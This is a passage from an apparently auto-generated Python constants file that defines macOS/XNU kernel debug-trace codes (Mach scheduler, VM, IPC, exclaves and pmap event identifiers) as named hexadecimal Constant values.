Constant('DBG_MACH_MP',0x90)\nDBG_MACH_VM_PRESSURE = Constant('DBG_MACH_VM_PRESSURE',0xA0)\nDBG_MACH_STACKSHOT = Constant('DBG_MACH_STACKSHOT',0xA1)\nDBG_MACH_SFI = Constant('DBG_MACH_SFI',0xA2)\nDBG_MACH_ENERGY_PERF = Constant('DBG_MACH_ENERGY_PERF',0xA3)\nDBG_MACH_SYSDIAGNOSE = Constant('DBG_MACH_SYSDIAGNOSE',0xA4)\nDBG_MACH_ZALLOC = Constant('DBG_MACH_ZALLOC',0xA5)\nDBG_MACH_THREAD_GROUP = Constant('DBG_MACH_THREAD_GROUP',0xA6)\nDBG_MACH_COALITION = Constant('DBG_MACH_COALITION',0xA7)\nDBG_MACH_SHAREDREGION = Constant('DBG_MACH_SHAREDREGION',0xA8)\nDBG_MACH_SCHED_CLUTCH = Constant('DBG_MACH_SCHED_CLUTCH',0xA9)\nDBG_MACH_IO = Constant('DBG_MACH_IO',0xAA)\nDBG_MACH_WORKGROUP = Constant('DBG_MACH_WORKGROUP',0xAB)\nDBG_MACH_HV = Constant('DBG_MACH_HV',0xAC)\nDBG_MACH_KCOV = Constant('DBG_MACH_KCOV',0xAD)\nDBG_MACH_MACHDEP_EXCP_SC_x86 = Constant('DBG_MACH_MACHDEP_EXCP_SC_x86',0xAE)\nDBG_MACH_MACHDEP_EXCP_SC_ARM = Constant('DBG_MACH_MACHDEP_EXCP_SC_ARM',0xAF)\nDBG_MACH_VM_RECLAIM = Constant('DBG_MACH_VM_RECLAIM',0xB0)\nDBC_MACH_IO_MMIO_READ = Constant('DBC_MACH_IO_MMIO_READ',0x1)\nDBC_MACH_IO_MMIO_WRITE = Constant('DBC_MACH_IO_MMIO_WRITE',0x2)\nDBC_MACH_IO_PHYS_READ = Constant('DBC_MACH_IO_PHYS_READ',0x3)\nDBC_MACH_IO_PHYS_WRITE = Constant('DBC_MACH_IO_PHYS_WRITE',0x4)\nDBC_MACH_IO_PORTIO_READ = Constant('DBC_MACH_IO_PORTIO_READ',0x5)\nDBC_MACH_IO_PORTIO_WRITE = Constant('DBC_MACH_IO_PORTIO_WRITE',0x6)\nDBG_INTR_TYPE_UNKNOWN = Constant('DBG_INTR_TYPE_UNKNOWN',0x0)\nDBG_INTR_TYPE_IPI = Constant('DBG_INTR_TYPE_IPI',0x1)\nDBG_INTR_TYPE_TIMER = Constant('DBG_INTR_TYPE_TIMER',0x2)\nDBG_INTR_TYPE_OTHER = Constant('DBG_INTR_TYPE_OTHER',0x3)\nDBG_INTR_TYPE_PMI = Constant('DBG_INTR_TYPE_PMI',0x4)\nDBG_INTR_TYPE_RSVD1 = Constant('DBG_INTR_TYPE_RSVD1',0x5)\nMACH_SCHED = Constant('MACH_SCHED',0x0)\nMACH_STACK_ATTACH = Constant('MACH_STACK_ATTACH',0x1)\nMACH_STACK_HANDOFF = Constant('MACH_STACK_HANDOFF',0x2)\nMACH_CALL_CONT = Constant('MACH_CALL_CONT',0x3)\nMACH_CALLOUT = Constant('MACH_CALLOUT',0x4)\nMACH_STACK_DETACH = Constant('MACH_STACK_DETACH',0x5)\nMACH_MAKE_RUNNABLE = Constant('MACH_MAKE_RUNNABLE',0x6)\nMACH_PROMOTE = Constant('MACH_PROMOTE',0x7)\nMACH_DEMOTE = Constant('MACH_DEMOTE',0x8)\nMACH_IDLE = Constant('MACH_IDLE',0x9)\nMACH_STACK_DEPTH = Constant('MACH_STACK_DEPTH',0xa)\nMACH_MOVED = Constant('MACH_MOVED',0xb)\nMACH_PSET_LOAD_AVERAGE = Constant('MACH_PSET_LOAD_AVERAGE',0xc)\nMACH_AMP_DEBUG = Constant('MACH_AMP_DEBUG',0xd)\nMACH_FAILSAFE = Constant('MACH_FAILSAFE',0xe)\nMACH_BLOCK = Constant('MACH_BLOCK',0xf)\nMACH_WAIT = Constant('MACH_WAIT',0x10)\nMACH_GET_URGENCY = Constant('MACH_GET_URGENCY',0x14)\nMACH_URGENCY = Constant('MACH_URGENCY',0x15)\nMACH_REDISPATCH = Constant('MACH_REDISPATCH',0x16)\nMACH_REMOTE_AST = Constant('MACH_REMOTE_AST',0x17)\nMACH_SCHED_CHOOSE_PROCESSOR = Constant('MACH_SCHED_CHOOSE_PROCESSOR',0x18)\nMACH_DEEP_IDLE = Constant('MACH_DEEP_IDLE',0x19)\nMACH_CPU_THROTTLE_DISABLE = Constant('MACH_CPU_THROTTLE_DISABLE',0x1b)\nMACH_RW_PROMOTE = Constant('MACH_RW_PROMOTE',0x1c)\nMACH_RW_DEMOTE = Constant('MACH_RW_DEMOTE',0x1d)\nMACH_SCHED_MAINTENANCE = Constant('MACH_SCHED_MAINTENANCE',0x1f)\nMACH_DISPATCH = Constant('MACH_DISPATCH',0x20)\nMACH_QUANTUM_HANDOFF = Constant('MACH_QUANTUM_HANDOFF',0x21)\nMACH_SCHED_THREAD_SWITCH = Constant('MACH_SCHED_THREAD_SWITCH',0x23)\nMACH_SCHED_SMT_BALANCE = Constant('MACH_SCHED_SMT_BALANCE',0x24)\nMACH_REMOTE_DEFERRED_AST = Constant('MACH_REMOTE_DEFERRED_AST',0x25)\nMACH_REMOTE_CANCEL_AST = Constant('MACH_REMOTE_CANCEL_AST',0x26)\nMACH_SCHED_CHANGE_PRIORITY = Constant('MACH_SCHED_CHANGE_PRIORITY',0x27)\nMACH_SCHED_UPDATE_REC_CORES = Constant('MACH_SCHED_UPDATE_REC_CORES',0x28)\nMACH_STACK_WAIT = Constant('MACH_STACK_WAIT',0x29)\nMACH_THREAD_BIND = Constant('MACH_THREAD_BIND',0x2a)\nMACH_WAITQ_PROMOTE = Constant('MACH_WAITQ_PROMOTE',0x2b)\nMACH_WAITQ_DEMOTE = Constant('MACH_WAITQ_DEMOTE',0x2c)\nMACH_SCHED_LOAD = Constant('MACH_SCHED_LOAD',0x2d)\nMACH_REC_CORES_FAILSAFE = Constant('MACH_REC_CORES_FAILSAFE',0x2e)\nMACH_SCHED_QUANTUM_EXPIRED = Constant('MACH_SCHED_QUANTUM_EXPIRED',0x2f)\nMACH_EXEC_PROMOTE = Constant('MACH_EXEC_PROMOTE',0x30)\nMACH_EXEC_DEMOTE = Constant('MACH_EXEC_DEMOTE',0x31)\nMACH_AMP_SIGNAL_SPILL = Constant('MACH_AMP_SIGNAL_SPILL',0x32)\nMACH_AMP_STEAL = Constant('MACH_AMP_STEAL',0x33)\nMACH_SCHED_LOAD_EFFECTIVE = Constant('MACH_SCHED_LOAD_EFFECTIVE',0x34)\nMACH_QUIESCENT_COUNTER = Constant('MACH_QUIESCENT_COUNTER',0x38)\nMACH_TURNSTILE_USER_CHANGE = Constant('MACH_TURNSTILE_USER_CHANGE',0x39)\nMACH_AMP_RECOMMENDATION_CHANGE = Constant('MACH_AMP_RECOMMENDATION_CHANGE',0x3a)\nMACH_AMP_PERFCTL_POLICY_CHANGE = Constant('MACH_AMP_PERFCTL_POLICY_CHANGE',0x3b)\nMACH_TURNSTILE_KERNEL_CHANGE = Constant('MACH_TURNSTILE_KERNEL_CHANGE',0x40)\nMACH_SCHED_WI_AUTO_JOIN = Constant('MACH_SCHED_WI_AUTO_JOIN',0x41)\nMACH_SCHED_WI_DEFERRED_FINISH = Constant('MACH_SCHED_WI_DEFERRED_FINISH',0x42)\nMACH_SET_RT_DEADLINE = Constant('MACH_SET_RT_DEADLINE',0x43)\nMACH_CANCEL_RT_DEADLINE = Constant('MACH_CANCEL_RT_DEADLINE',0x44)\nMACH_RT_SIGNAL_SPILL = Constant('MACH_RT_SIGNAL_SPILL',0x45)\nMACH_RT_STEAL = Constant('MACH_RT_STEAL',0x46)\nMACH_PENDING_AST_URGENT = Constant('MACH_PENDING_AST_URGENT',0x47)\nMACH_SCHED_THREAD_SELECT = Constant('MACH_SCHED_THREAD_SELECT',0x48)\nMACH_SCHED_NEXT_PROCESSOR = Constant('MACH_SCHED_NEXT_PROCESSOR',0x49)\nMACH_PSET_AVG_EXEC_TIME = Constant('MACH_PSET_AVG_EXEC_TIME',0x50)\nMACH_SUSPEND_USERSPACE = Constant('MACH_SUSPEND_USERSPACE',0x51)\nMACH_PREEMPTION_EXPIRED = Constant('MACH_PREEMPTION_EXPIRED',0x52)\nMACH_FLOOR_PROMOTE = Constant('MACH_FLOOR_PROMOTE',0x53)\nMACH_FLOOR_DEMOTE = Constant('MACH_FLOOR_DEMOTE',0x54)\nMACH_INT_MASKED_EXPIRED = Constant('MACH_INT_MASKED_EXPIRED',0x55)\nMACH_INT_HANDLED_EXPIRED = Constant('MACH_INT_HANDLED_EXPIRED',0x56)\nMACH_UPDATE_POWERED_CORES = Constant('MACH_UPDATE_POWERED_CORES',0x58)\nMACH_MODE_DEMOTE_THROTTLED = Constant('MACH_MODE_DEMOTE_THROTTLED',0x59)\nMACH_MODE_DEMOTE_FAILSAFE = Constant('MACH_MODE_DEMOTE_FAILSAFE',0x5a)\nMACH_MODE_DEMOTE_RT_DISALLOWED = Constant('MACH_MODE_DEMOTE_RT_DISALLOWED',0x5b)\nMACH_MODE_UNDEMOTE_THROTTLED = Constant('MACH_MODE_UNDEMOTE_THROTTLED',0x5c)\nMACH_MODE_UNDEMOTE_FAILSAFE = Constant('MACH_MODE_UNDEMOTE_FAILSAFE',0x5d)\nMACH_MODE_UNDEMOTE_RT_DISALLOWED = Constant('MACH_MODE_UNDEMOTE_RT_DISALLOWED',0x5e)\nMACH_INT_MASKED_RESET = Constant('MACH_INT_MASKED_RESET',0x5f)\nMACH_RT_DISALLOWED_WORK_INTERVAL = Constant('MACH_RT_DISALLOWED_WORK_INTERVAL',0x60)\nMACH_SCHED_WI_EXTERNAL_WAKEUP = Constant('MACH_SCHED_WI_EXTERNAL_WAKEUP',0x61)\nMACH_SCHED_AST_CHECK = Constant('MACH_SCHED_AST_CHECK',0x62)\nMACH_SCHED_PREEMPT_TIMER_ACTIVE = Constant('MACH_SCHED_PREEMPT_TIMER_ACTIVE',0x63)\nMACH_PROCESSOR_SHUTDOWN = Constant('MACH_PROCESSOR_SHUTDOWN',0x64)\nMACH_SCHED_CLUTCH_ROOT_BUCKET_STATE = Constant('MACH_SCHED_CLUTCH_ROOT_BUCKET_STATE',0x0)\nMACH_SCHED_CLUTCH_TG_BUCKET_STATE = Constant('MACH_SCHED_CLUTCH_TG_BUCKET_STATE',0x1)\nMACH_SCHED_CLUTCH_THREAD_SELECT = Constant('MACH_SCHED_CLUTCH_THREAD_SELECT',0x2)\nMACH_SCHED_CLUTCH_THREAD_STATE = Constant('MACH_SCHED_CLUTCH_THREAD_STATE',0x3)\nMACH_SCHED_CLUTCH_TG_BUCKET_PRI = Constant('MACH_SCHED_CLUTCH_TG_BUCKET_PRI',0x4)\nMACH_SCHED_EDGE_CLUSTER_OVERLOAD = Constant('MACH_SCHED_EDGE_CLUSTER_OVERLOAD',0x5)\nMACH_SCHED_EDGE_STEAL = Constant('MACH_SCHED_EDGE_STEAL',0x6)\nMACH_SCHED_EDGE_REBAL_RUNNABLE = Constant('MACH_SCHED_EDGE_REBAL_RUNNABLE',0x7)\nMACH_SCHED_EDGE_REBAL_RUNNING = Constant('MACH_SCHED_EDGE_REBAL_RUNNING',0x8)\nMACH_SCHED_EDGE_SHOULD_YIELD = Constant('MACH_SCHED_EDGE_SHOULD_YIELD',0x9)\nMACH_SCHED_CLUTCH_THR_COUNT = Constant('MACH_SCHED_CLUTCH_THR_COUNT',0xa)\nMACH_SCHED_EDGE_LOAD_AVG = Constant('MACH_SCHED_EDGE_LOAD_AVG',0xb)\nMACH_SCHED_EDGE_CLUSTER_SHARED_LOAD = Constant('MACH_SCHED_EDGE_CLUSTER_SHARED_LOAD',0xc)\nMACH_SCHED_EDGE_RSRC_HEAVY_THREAD = Constant('MACH_SCHED_EDGE_RSRC_HEAVY_THREAD',0xd)\nMACH_SCHED_EDGE_SHARED_RSRC_MIGRATE = Constant('MACH_SCHED_EDGE_SHARED_RSRC_MIGRATE',0xe)\nWORKGROUP_INTERVAL_CREATE = Constant('WORKGROUP_INTERVAL_CREATE',0x0)\nWORKGROUP_INTERVAL_DESTROY = Constant('WORKGROUP_INTERVAL_DESTROY',0x1)\nWORKGROUP_INTERVAL_CHANGE = Constant('WORKGROUP_INTERVAL_CHANGE',0x2)\nWORKGROUP_INTERVAL_START = Constant('WORKGROUP_INTERVAL_START',0x3)\nWORKGROUP_INTERVAL_UPDATE = Constant('WORKGROUP_INTERVAL_UPDATE',0x4)\nWORKGROUP_INTERVAL_FINISH = Constant('WORKGROUP_INTERVAL_FINISH',0x5)\nWORKGROUP_INTERVAL_SET_WORKLOAD_ID = Constant('WORKGROUP_INTERVAL_SET_WORKLOAD_ID',0x6)\nWORKGROUP_INTERVAL_SET_WORKLOAD_ID_NAME = Constant('WORKGROUP_INTERVAL_SET_WORKLOAD_ID_NAME',0x7)\nKCOV_STKSZ_THRESHOLD_ABOVE = Constant('KCOV_STKSZ_THRESHOLD_ABOVE',0x0)\nKCOV_STKSZ_THRESHOLD_BELOW = Constant('KCOV_STKSZ_THRESHOLD_BELOW',0x1)\nDBG_VM_VNODE_PAGEOUT = Constant('DBG_VM_VNODE_PAGEOUT',0x001)\nDBG_VM_FAULT_INTERNAL = Constant('DBG_VM_FAULT_INTERNAL',0x002)\nDBG_VM_PURGEABLE_TOKEN_ADD = Constant('DBG_VM_PURGEABLE_TOKEN_ADD',0x040)\nDBG_VM_PURGEABLE_TOKEN_DELETE = Constant('DBG_VM_PURGEABLE_TOKEN_DELETE',0x041)\nDBG_VM_PURGEABLE_TOKEN_RIPEN = Constant('DBG_VM_PURGEABLE_TOKEN_RIPEN',0x042)\nDBG_VM_PURGEABLE_OBJECT_ADD = Constant('DBG_VM_PURGEABLE_OBJECT_ADD',0x048)\nDBG_VM_PURGEABLE_OBJECT_REMOVE = Constant('DBG_VM_PURGEABLE_OBJECT_REMOVE',0x049)\nDBG_VM_PURGEABLE_OBJECT_PURGE = Constant('DBG_VM_PURGEABLE_OBJECT_PURGE',0x04a)\nDBG_VM_PURGEABLE_OBJECT_PURGE_ALL = Constant('DBG_VM_PURGEABLE_OBJECT_PURGE_ALL',0x04b)\nDBG_VM_PURGEABLE_OBJECT_PURGE_ONE = Constant('DBG_VM_PURGEABLE_OBJECT_PURGE_ONE',0x04c)\nDBG_VM_PURGEABLE_OBJECT_PURGE_LOOP = Constant('DBG_VM_PURGEABLE_OBJECT_PURGE_LOOP',0x04e)\nDBG_VM_MAP_PARTIAL_REAP = Constant('DBG_VM_MAP_PARTIAL_REAP',0x054)\nDBG_VM_MAP_WILLNEED = Constant('DBG_VM_MAP_WILLNEED',0x055)\nDBG_VM_FAULT_CHECK_ZFDELAY = Constant('DBG_VM_FAULT_CHECK_ZFDELAY',0x100)\nDBG_VM_FAULT_COWDELAY = Constant('DBG_VM_FAULT_COWDELAY',0x101)\nDBG_VM_FAULT_ZFDELAY = Constant('DBG_VM_FAULT_ZFDELAY',0x102)\nDBG_VM_FAULT_COMPRESSORDELAY = Constant('DBG_VM_FAULT_COMPRESSORDELAY',0x103)\nDBG_VM_PAGEOUT_SCAN = Constant('DBG_VM_PAGEOUT_SCAN',0x104)\nDBG_VM_PAGEOUT_BALANCE = Constant('DBG_VM_PAGEOUT_BALANCE',0x105)\nDBG_VM_PAGEOUT_FREELIST = Constant('DBG_VM_PAGEOUT_FREELIST',0x106)\nDBG_VM_PAGEOUT_PURGEONE = Constant('DBG_VM_PAGEOUT_PURGEONE',0x107)\nDBG_VM_PAGEOUT_CACHE_EVICT = Constant('DBG_VM_PAGEOUT_CACHE_EVICT',0x108)\nDBG_VM_PAGEOUT_THREAD_BLOCK = Constant('DBG_VM_PAGEOUT_THREAD_BLOCK',0x109)\nDBG_VM_PAGEOUT_JETSAM = Constant('DBG_VM_PAGEOUT_JETSAM',0x10A)\nDBG_VM_INFO1 = Constant('DBG_VM_INFO1',0x10B)\nDBG_VM_INFO2 = Constant('DBG_VM_INFO2',0x10C)\nDBG_VM_INFO3 = Constant('DBG_VM_INFO3',0x10D)\nDBG_VM_INFO4 = Constant('DBG_VM_INFO4',0x10E)\nDBG_VM_INFO5 = Constant('DBG_VM_INFO5',0x10F)\nDBG_VM_INFO6 = Constant('DBG_VM_INFO6',0x110)\nDBG_VM_INFO7 = Constant('DBG_VM_INFO7',0x111)\nDBG_VM_INFO8 = Constant('DBG_VM_INFO8',0x112)\nDBG_VM_INFO9 = Constant('DBG_VM_INFO9',0x113)\nDBG_VM_INFO10 = Constant('DBG_VM_INFO10',0x114)\nDBG_VM_UPL_PAGE_WAIT = Constant('DBG_VM_UPL_PAGE_WAIT',0x120)\nDBG_VM_IOPL_PAGE_WAIT = Constant('DBG_VM_IOPL_PAGE_WAIT',0x121)\nDBG_VM_PAGE_WAIT_BLOCK = Constant('DBG_VM_PAGE_WAIT_BLOCK',0x122)\nDBG_VM_PAGE_SLEEP = Constant('DBG_VM_PAGE_SLEEP',0x123)\nDBG_VM_PAGE_EXPEDITE = Constant('DBG_VM_PAGE_EXPEDITE',0x124)\nDBG_VM_PAGE_EXPEDITE_NO_MEMORY = Constant('DBG_VM_PAGE_EXPEDITE_NO_MEMORY',0x125)\nDBG_VM_PAGE_GRAB = Constant('DBG_VM_PAGE_GRAB',0x126)\nDBG_VM_PAGE_RELEASE = Constant('DBG_VM_PAGE_RELEASE',0x127)\nDBG_VM_COMPRESSOR_COMPACT_AND_SWAP = Constant('DBG_VM_COMPRESSOR_COMPACT_AND_SWAP',0x128)\nDBG_VM_COMPRESSOR_DELAYED_COMPACT = Constant('DBG_VM_COMPRESSOR_DELAYED_COMPACT',0x129)\nDBG_VM_OBJECT_SLEEP = Constant('DBG_VM_OBJECT_SLEEP',0x12a)\nDBG_VM_PAGE_WAKEUP = Constant('DBG_VM_PAGE_WAKEUP',0x12b)\nDBG_VM_PAGE_WAKEUP_DONE = Constant('DBG_VM_PAGE_WAKEUP_DONE',0x12c)\nDBG_VM_PRESSURE_EVENT = Constant('DBG_VM_PRESSURE_EVENT',0x130)\nDBG_VM_EXECVE = Constant('DBG_VM_EXECVE',0x131)\nDBG_VM_WAKEUP_COMPACTOR_SWAPPER = Constant('DBG_VM_WAKEUP_COMPACTOR_SWAPPER',0x132)\nDBG_VM_UPL_REQUEST = Constant('DBG_VM_UPL_REQUEST',0x133)\nDBG_VM_IOPL_REQUEST = Constant('DBG_VM_IOPL_REQUEST',0x134)\nDBG_VM_KERN_REQUEST = Constant('DBG_VM_KERN_REQUEST',0x135)\nDBG_VM_DATA_WRITE = Constant('DBG_VM_DATA_WRITE',0x140)\nDBG_VM_PRESSURE_LEVEL_CHANGE = Constant('DBG_VM_PRESSURE_LEVEL_CHANGE',0x141)\nDBG_VM_PHYS_WRITE_ACCT = Constant('DBG_VM_PHYS_WRITE_ACCT',0x142)\nDBG_VM_MAP_LOOKUP_ENTRY_FAILURE = Constant('DBG_VM_MAP_LOOKUP_ENTRY_FAILURE',0x143)\nVM_DISCONNECT_ALL_PAGE_MAPPINGS = Constant('VM_DISCONNECT_ALL_PAGE_MAPPINGS',0x00)\nVM_DISCONNECT_TASK_PAGE_MAPPINGS = Constant('VM_DISCONNECT_TASK_PAGE_MAPPINGS',0x01)\nVM_REAL_FAULT_ADDR_INTERNAL = Constant('VM_REAL_FAULT_ADDR_INTERNAL',0x02)\nVM_REAL_FAULT_ADDR_PURGABLE = Constant('VM_REAL_FAULT_ADDR_PURGABLE',0x03)\nVM_REAL_FAULT_ADDR_EXTERNAL = Constant('VM_REAL_FAULT_ADDR_EXTERNAL',0x04)\nVM_REAL_FAULT_ADDR_SHAREDCACHE = Constant('VM_REAL_FAULT_ADDR_SHAREDCACHE',0x05)\nVM_REAL_FAULT_FAST = Constant('VM_REAL_FAULT_FAST',0x06)\nVM_REAL_FAULT_SLOW = Constant('VM_REAL_FAULT_SLOW',0x07)\nVM_MAP_LOOKUP_OBJECT = Constant('VM_MAP_LOOKUP_OBJECT',0x08)\nDBG_ZERO_FILL_FAULT = Constant('DBG_ZERO_FILL_FAULT',0x01)\nDBG_PAGEIN_FAULT = Constant('DBG_PAGEIN_FAULT',0x02)\nDBG_COW_FAULT = Constant('DBG_COW_FAULT',0x03)\nDBG_CACHE_HIT_FAULT = Constant('DBG_CACHE_HIT_FAULT',0x04)\nDBG_NZF_PAGE_FAULT = Constant('DBG_NZF_PAGE_FAULT',0x05)\nDBG_GUARD_FAULT = Constant('DBG_GUARD_FAULT',0x06)\nDBG_PAGEINV_FAULT = Constant('DBG_PAGEINV_FAULT',0x07)\nDBG_PAGEIND_FAULT = Constant('DBG_PAGEIND_FAULT',0x08)\nDBG_COMPRESSOR_FAULT = Constant('DBG_COMPRESSOR_FAULT',0x09)\nDBG_COMPRESSOR_SWAPIN_FAULT = Constant('DBG_COMPRESSOR_SWAPIN_FAULT',0x0a)\nDBG_COR_FAULT = Constant('DBG_COR_FAULT',0x0b)\nMACH_TASK_SUSPEND = Constant('MACH_TASK_SUSPEND',0x0)\nMACH_TASK_RESUME = Constant('MACH_TASK_RESUME',0x1)\nMACH_THREAD_SET_VOUCHER = Constant('MACH_THREAD_SET_VOUCHER',0x2)\nMACH_IPC_MSG_SEND = Constant('MACH_IPC_MSG_SEND',0x3)\nMACH_IPC_MSG_RECV = Constant('MACH_IPC_MSG_RECV',0x4)\nMACH_IPC_MSG_RECV_VOUCHER_REFUSED = Constant('MACH_IPC_MSG_RECV_VOUCHER_REFUSED',0x5)\nMACH_IPC_KMSG_FREE = Constant('MACH_IPC_KMSG_FREE',0x6)\nMACH_IPC_VOUCHER_CREATE = Constant('MACH_IPC_VOUCHER_CREATE',0x7)\nMACH_IPC_VOUCHER_CREATE_ATTR_DATA = Constant('MACH_IPC_VOUCHER_CREATE_ATTR_DATA',0x8)\nMACH_IPC_VOUCHER_DESTROY = Constant('MACH_IPC_VOUCHER_DESTROY',0x9)\nMACH_IPC_KMSG_INFO = Constant('MACH_IPC_KMSG_INFO',0xa)\nMACH_IPC_KMSG_LINK = Constant('MACH_IPC_KMSG_LINK',0xb)\nMACH_IPC_PORT_ENTRY_MODIFY = Constant('MACH_IPC_PORT_ENTRY_MODIFY',0xc)\nMACH_IPC_DESTROY_GUARDED_DESC = Constant('MACH_IPC_DESTROY_GUARDED_DESC',0xd)\nMACH_THREAD_SUSPEND = Constant('MACH_THREAD_SUSPEND',0xe)\nMACH_THREAD_RESUME = Constant('MACH_THREAD_RESUME',0xf)\nMACH_EXCLAVES_SWITCH = Constant('MACH_EXCLAVES_SWITCH',0x0)\nMACH_EXCLAVES_XNUPROXY = Constant('MACH_EXCLAVES_XNUPROXY',0x1)\nMACH_EXCLAVES_RPC = Constant('MACH_EXCLAVES_RPC',0x2)\nMACH_EXCLAVES_UPCALL = Constant('MACH_EXCLAVES_UPCALL',0x3)\nMACH_EXCLAVES_BOOT_TASK = Constant('MACH_EXCLAVES_BOOT_TASK',0x4)\nMACH_EXCLAVES_SCHEDULER_YIELD = Constant('MACH_EXCLAVES_SCHEDULER_YIELD',0x0)\nMACH_EXCLAVES_SCHEDULER_SPAWNED = Constant('MACH_EXCLAVES_SCHEDULER_SPAWNED',0x1)\nMACH_EXCLAVES_SCHEDULER_TERMINATED = Constant('MACH_EXCLAVES_SCHEDULER_TERMINATED',0x2)\nMACH_EXCLAVES_SCHEDULER_WAIT = Constant('MACH_EXCLAVES_SCHEDULER_WAIT',0x3)\nMACH_EXCLAVES_SCHEDULER_WAKE = Constant('MACH_EXCLAVES_SCHEDULER_WAKE',0x4)\nMACH_EXCLAVES_SCHEDULER_SUSPENDED = Constant('MACH_EXCLAVES_SCHEDULER_SUSPENDED',0x5)\nMACH_EXCLAVES_SCHEDULER_RESUMED = Constant('MACH_EXCLAVES_SCHEDULER_RESUMED',0x6)\nMACH_EXCLAVES_SCHEDULER_INTERRUPTED = Constant('MACH_EXCLAVES_SCHEDULER_INTERRUPTED',0x7)\nMACH_EXCLAVES_SCHEDULER_NOTHING_SCHEDULED = Constant('MACH_EXCLAVES_SCHEDULER_NOTHING_SCHEDULED',0x8)\nMACH_EXCLAVES_SCHEDULER_ALL_EXCLAVES_BOOTED = Constant('MACH_EXCLAVES_SCHEDULER_ALL_EXCLAVES_BOOTED',0x9)\nMACH_EXCLAVES_SCHEDULER_EARLY_ALLOC = Constant('MACH_EXCLAVES_SCHEDULER_EARLY_ALLOC',0xa)\nMACH_EPOCH_SYNC_WAIT_STALE = Constant('MACH_EPOCH_SYNC_WAIT_STALE',0x0)\nMACH_EPOCH_SYNC_WAIT = Constant('MACH_EPOCH_SYNC_WAIT',0x1)\nMACH_EPOCH_SYNC_WAKE_NO_WAITERS = Constant('MACH_EPOCH_SYNC_WAKE_NO_WAITERS',0x2)\nMACH_EPOCH_SYNC_WAKE_ONE = Constant('MACH_EPOCH_SYNC_WAKE_ONE',0x3)\nMACH_EPOCH_SYNC_WAKE_ALL = Constant('MACH_EPOCH_SYNC_WAKE_ALL',0x4)\nMACH_EPOCH_SYNC_WAKE_ONE_WITH_OWNER = Constant('MACH_EPOCH_SYNC_WAKE_ONE_WITH_OWNER',0x5)\nMACH_EPOCH_SYNC_WAKE_THREAD = Constant('MACH_EPOCH_SYNC_WAKE_THREAD',0x6)\nMACH_THREAD_GROUP_NEW = Constant('MACH_THREAD_GROUP_NEW',0x0)\nMACH_THREAD_GROUP_FREE = Constant('MACH_THREAD_GROUP_FREE',0x1)\nMACH_THREAD_GROUP_SET = Constant('MACH_THREAD_GROUP_SET',0x2)\nMACH_THREAD_GROUP_NAME = Constant('MACH_THREAD_GROUP_NAME',0x3)\nMACH_THREAD_GROUP_NAME_FREE = Constant('MACH_THREAD_GROUP_NAME_FREE',0x4)\nMACH_THREAD_GROUP_FLAGS = Constant('MACH_THREAD_GROUP_FLAGS',0x5)\nMACH_THREAD_GROUP_BLOCK = Constant('MACH_THREAD_GROUP_BLOCK',0x6)\nMACH_THREAD_GROUP_PREADOPT = Constant('MACH_THREAD_GROUP_PREADOPT',0x7)\nMACH_THREAD_GROUP_PREADOPT_NEXTTIME = Constant('MACH_THREAD_GROUP_PREADOPT_NEXTTIME',0x8)\nMACH_THREAD_GROUP_PREADOPT_CLEAR = Constant('MACH_THREAD_GROUP_PREADOPT_CLEAR',0x9)\nMACH_THREAD_GROUP_PREADOPT_NA = Constant('MACH_THREAD_GROUP_PREADOPT_NA',0xa)\nMACH_COALITION_NEW = Constant('MACH_COALITION_NEW',0x0)\nMACH_COALITION_FREE = Constant('MACH_COALITION_FREE',0x1)\nMACH_COALITION_ADOPT = Constant('MACH_COALITION_ADOPT',0x2)\nMACH_COALITION_REMOVE = Constant('MACH_COALITION_REMOVE',0x3)\nMACH_COALITION_THREAD_GROUP_SET = Constant('MACH_COALITION_THREAD_GROUP_SET',0x4)\nPMAP__CREATE = Constant('PMAP__CREATE',0x0)\nPMAP__DESTROY = Constant('PMAP__DESTROY',0x1)\nPMAP__PROTECT = Constant('PMAP__PROTECT',0x2)\nPMAP__PAGE_PROTECT = Constant('PMAP__PAGE_PROTECT',0x3)\nPMAP__ENTER = Constant('PMAP__ENTER',0x4)\nPMAP__REMOVE = Constant('PMAP__REMOVE',0x5)\nPMAP__NEST = Constant('PMAP__NEST',0x6)\nPMAP__UNNEST = Constant('PMAP__UNNEST',0x7)\nPMAP__FLUSH_TLBS = Constant('PMAP__FLUSH_TLBS',0x8)\nPMAP__UPDATE_INTERRUPT = Constant('PMAP__UPDATE_INTERRUPT',0x9)\nPMAP__ATTRIBUTE_CLEAR = Constant('PMAP__ATTRIBUTE_CLEAR',0xa)\nPMAP__REUSABLE = Constant('PMAP__REUSABLE',0xb)\nPMAP__QUERY_RESIDENT = Constant('PMAP__QUERY_RESIDENT',0xc)\nPMAP__FLUSH_KERN_TLBS = Constant('PMAP__FLUSH_KERN_TLBS',0xd)\nPMAP__FLUSH_DELAYED_TLBS = Constant('PMAP__FLUSH_DELAYED_TLBS',0xe)\nPMAP__FLUSH_TLBS_TO = Constant('PMAP__FLUSH_TLBS_TO',0xf)\nPMAP__FLUSH_EPT = Constant('PMAP__FLUSH_EPT',0x10)\nPMAP__FAST_FAULT = Constant('PMAP__FAST_FAULT',0x11)\nPMAP__SWITCH = Constant('PMAP__SWITCH',0x12)\nPMAP__TTE = Constant('PMAP__TTE',0x13)\nPMAP__SWITCH_USER_TTB = Constant('PMAP__SWITCH_USER_TTB',0x14)\nPMAP__UPDATE_CACHING = Constant('PMAP__UPDATE_CACHING',0x15)\nPMAP__ATTRIBUTE_CLEAR_RANGE = Constant('PMAP__ATTRIBUTE_CLEAR_RANGE',0x16)\nPMAP__CLEAR_USER_TTB = Constant('PMAP__CLEAR_USER_TTB',0x17)\nPMAP__IOMMU_INIT = Constant('PMAP__IOMMU_INIT',0x18)\nPMAP__IOMMU_IOVMALLOC = Constant('PMAP__IOMMU_IOVMALLOC',0x19)\nPMAP__IOMMU_IOVMFREE = Constant('PMAP__IOMMU_IOVMFREE',0x1a)\nPMAP__IOMMU_MAP = Constant('PMAP__IOMMU_MAP',0x1b)\nPMAP__IOMMU_UNMAP = Constant('PMAP__IOMMU_UNMAP',0x1c)\nPMAP__IOMMU_IOCTL = Constant('PMAP__IOMMU_IOCTL',0x1d)\nPMAP__IOMMU_GRANT_PAGE = Constant('PMAP__IOMMU_GRANT_PAGE',0x1e)\nPMAP__BATCH_UPDATE_CACHING = Constant('PMAP__BATCH_UPDATE_CACHING',0x1f)\nPMAP__COLLECT_CACHE_OPS = Constant('PMAP__COLLECT_CACHE_OPS',0x20)\nMACH_EPOCH_CHANGE = Constant('MACH_EPOCH_CHANGE',0x0)\nMACH_BRIDGE_RCV_TS = Constant('MACH_BRIDGE_RCV_TS',0x1)\nMACH_BRIDGE_REMOTE_TIME 